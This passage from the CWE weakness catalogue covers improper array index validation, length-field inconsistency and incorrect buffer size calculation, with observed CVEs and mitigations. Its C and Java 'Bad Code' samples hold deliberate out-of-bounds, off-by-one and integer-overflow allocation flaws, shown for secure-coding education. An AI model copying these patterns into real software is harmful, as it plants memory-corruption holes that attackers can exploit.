    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new `Widget` in the first location, causing an exception to be thrown.

**Example 3:**

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

**C Example:***Bad Code*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
```

```

else {
    printf("Value is: %d\n", array[index]);
    value = -1;
}
return value;
}

```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

**C Example:**

Good Code

```

...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

```

**Example 4:**

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

**C Example:**

Bad Code

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
    ...
}

```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

**C Example:**

Good Code

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;

```

```

else if (sscanf(buf, "%d %d", &num, &size) == 2) {
    if (num > 0 && num <= (unsigned)count)
        sizes[num - 1] = size;
    else
        /* warn about possible attempt to induce buffer overflow */
        report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
}
}
...
}

```

**Example 5:**

In the following example the method `displayProductSummary` is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the `displayProductSummary` method. The `displayProductSummary` method passes the integer value of the product number to the `getProductSummary` method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

**Java Example:***Bad Code*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}

```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

**Java Example:***Good Code*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}

```

An alternative in Java would be to use one of the collection objects such as `ArrayList` that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

**Java Example:***Good Code*

```

ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {

```



```
productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

**Example 6:**

The following example asks a user for an offset into an array to select an item.

**C Example:***Bad Code*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Observed Examples**

Reference	Description
CVE-2001-1009	negative array index as argument to POP LIST command
CVE-2003-0721	Integer signedness error leads to negative array index
CVE-2004-1189	product does not properly track a count and a maximum number, which can lead to resultant array index overflow.
CVE-2005-0369	large ID in packet used as array index
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)
CVE-2007-5756	Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.

**Potential Mitigations****Architecture and Design****Input Validation****Libraries or Frameworks**

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

**Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

## Operation

### Environment Hardening

#### Defense in Depth

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.129.3] [R.129.4] and Position-Independent Executables (PIE) [R.129.8].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

## Operation

### Environment Hardening

#### Defense in Depth

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.129.4] [R.129.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

## Implementation

### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

## Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

## Architecture and Design

### Operation

#### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.129.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

## Architecture and Design

### Operation

#### Sandbox or Jail

##### Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>1000</b>	18
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	226
ChildOf		189	Numeric Errors	699	360
ChildOf		633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
ChildOf		740	CERT C Secure Coding Section 06 - Arrays (ARR)	734	1133
CanPrecede		789	Uncontrolled Memory Allocation	1000	1211
ChildOf		802	2010 Top 25 - Risky Resource Management	<b>800</b>	1228
CanPrecede		823	Use of Out-of-range Pointer Offset	1000	1252
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ChildOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1313
ChildOf		874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	<b>868</b>	1313
ChildOf		970	SFP Secondary Cluster: Faulty Buffer Access	<b>888</b>	1380
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Relationship Notes

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

### Theoretical Notes

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

### Affected Resources

- Memory

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unchecked array indexing
PLOVER		INDEX - Array index overflow
CERT C Secure Coding	ARR00-C	Understand how arrays work
CERT C Secure Coding	ARR30-C	Guarantee that array indices are within the valid range
CERT C Secure Coding	ARR38-C	Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure Coding	INT32-C	Ensure that operations on signed integers do not result in overflow
CERT C++ Secure Coding	INT10-CPP	Do not assume a positive remainder when using the % operator
CERT C++ Secure Coding	INT32-CPP	Ensure that operations on signed integers do not result in overflow
CERT C++ Secure Coding	ARR00-CPP	Understand when to prefer vectors over arrays
CERT C++ Secure Coding	ARR30-CPP	Guarantee that array and vector indices are within the valid range
CERT C++ Secure Coding	ARR38-CPP	Do not add or subtract an integer to a pointer or iterator if the resulting value does not refer to a valid element in the array or container
Software Fault Patterns	SFP8	Faulty Buffer Access

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
100	Overflow Buffers	

**References**

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Array Indexing Errors" Page 144. 2nd Edition. Microsoft. 2002.

Jason Lam. "Top 25 Series - Rank 14 - Improper Validation of Array Index". SANS Software Security Institute. 2010-03-12. < <http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/> >.

[REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

[REF-29] "PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-130: Improper Handling of Length Parameter Inconsistency

Weakness ID: 130 (Weakness Variant)

Status: Incomplete

**Description****Summary**

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

**Extended Description**

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target

application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

### Alternate Terms

**length manipulation**

**length tampering**

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C (Sometimes)
- C++ (Sometimes)
- All

### Common Consequences

**Other**

**Varies by context**

### Demonstrative Examples

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

#### C/C++ Example:

*Bad Code*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Observed Examples

Reference	Description
CVE-2000-0655	Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1.
CVE-2001-0191	Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length.

Reference	Description
CVE-2001-0825	Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check.
CVE-2001-1186	Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection.
CVE-2002-1235	Length field of a request not verified.
CVE-2002-1357	Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.
CVE-2003-0327	Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow.
CVE-2003-0345	Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required.
CVE-2003-0429	Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow.
CVE-2003-0825	Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues
CVE-2004-0095	Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value.
CVE-2004-0201	Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field
CVE-2004-0413	SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow.
CVE-2004-0430	Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.
CVE-2004-0492	Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow.
CVE-2004-0568	Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow.
CVE-2004-0774	Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1.
CVE-2004-0808	When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided.
CVE-2004-0826	Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message.
CVE-2004-0940	Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.
CVE-2004-0989	Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs.
CVE-2005-0064	PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value.
CVE-2005-3184	Buffer overflow by modifying a length value.
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
SECUNIA:18747	Length field inconsistency crashes cell phone.

### Potential Mitigations



**Implementation**

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

**Implementation**

Do not let the user control the size of the buffer.

**Implementation**

Validate that the length of the user-supplied data is consistent with the buffer size.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b>	226
ChildOf		240	Improper Handling of Inconsistent Structural Elements	<b>1000</b>	430
CanPrecede		805	Buffer Access with Incorrect Length Value	1000	1230
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Relationship Notes**

This probably overlaps other categories including zero-length issues.

**Causal Nature****Implicit****Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Length Parameter Inconsistency

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
47	Buffer Overflow via Parameter Expansion	

## CWE-131: Incorrect Calculation of Buffer Size

Weakness ID: 131 (Weakness Base)

Status: Draft

**Description****Summary**

The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++

**Common Consequences****Integrity****Availability****Confidentiality****DoS: crash / exit / restart****Execute unauthorized code or commands****Read memory****Modify memory**

If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.



**Likelihood of Exploit**

High to Very High

**Detection Methods****Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

**Automated Dynamic Analysis****Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

**Manual Analysis**

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

**Manual Analysis****High**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

- Source Code Quality Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

**C Example:***Bad Code*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be. So if the user ever requests `MAX_NUM_WIDGETS`, there is an off-by-one buffer overflow (CWE-193) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

**Example 2:**

The following image processing code allocates a table for images.

**C Example:***Bad Code*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
```

```
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size `num_imgs`, however as `num_imgs` grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were `num_imgs` long, it may result in many types of out-of-bounds problems (CWE-119).

### Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

#### C Example:

*Bad Code*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ( '<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Example 4:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

#### C Example:

*Bad Code*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, `numHeaders` is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as `-3`, then the `malloc` calculation will generate a negative number (say, `-300` if each header can be a maximum of 100 bytes). When this result is provided to `malloc()`, it is first converted to a `size_t` type. This conversion then produces a large value such as `4294966996`, which may cause `malloc()` to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick `malloc()` into using a very small

positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

### Example 5:

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

#### C Example:

*Bad Code*

```
int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```

The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id\_sequence[0] and would continue with the assignment of id\_sequence[1] and id\_sequence[2].

The malloc() call could have used '3\*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

### Observed Examples

Reference	Description
CVE-2001-0248	expansion overflow: long pathname + glob = overflow
CVE-2001-0249	expansion overflow: long pathname + glob = overflow
CVE-2001-0334	expansion overflow: buffer overflow using wildcards
CVE-2002-0184	special characters in argument are not properly expanded
CVE-2002-1347	multiple variants
CVE-2003-0899	transformation overflow: buffer overflow when expanding ">" to "&gt;", etc.
CVE-2004-0434	small length value leads to heap overflow
CVE-2004-0747	substitution overflow: buffer overflow using expansion of environment variables
CVE-2004-0940	needs closer investigation, but probably expansion-based
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed
CVE-2005-0490	needs closer investigation, but probably expansion-based
CVE-2005-2103	substitution overflow: buffer overflow using a large number of substitution strings
CVE-2005-3120	transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.

### Potential Mitigations

#### Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

**Implementation**

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.131.7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

**Implementation****Input Validation**

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Implementation**

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

**Implementation**

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

**Implementation****Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.

**Implementation**

Use sizeof() on the appropriate data type to avoid CWE-467.

**Implementation**

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify sanity checks and will reduce surprises related to unexpected casting.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [R.131.1]

**Build and Compilation****Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

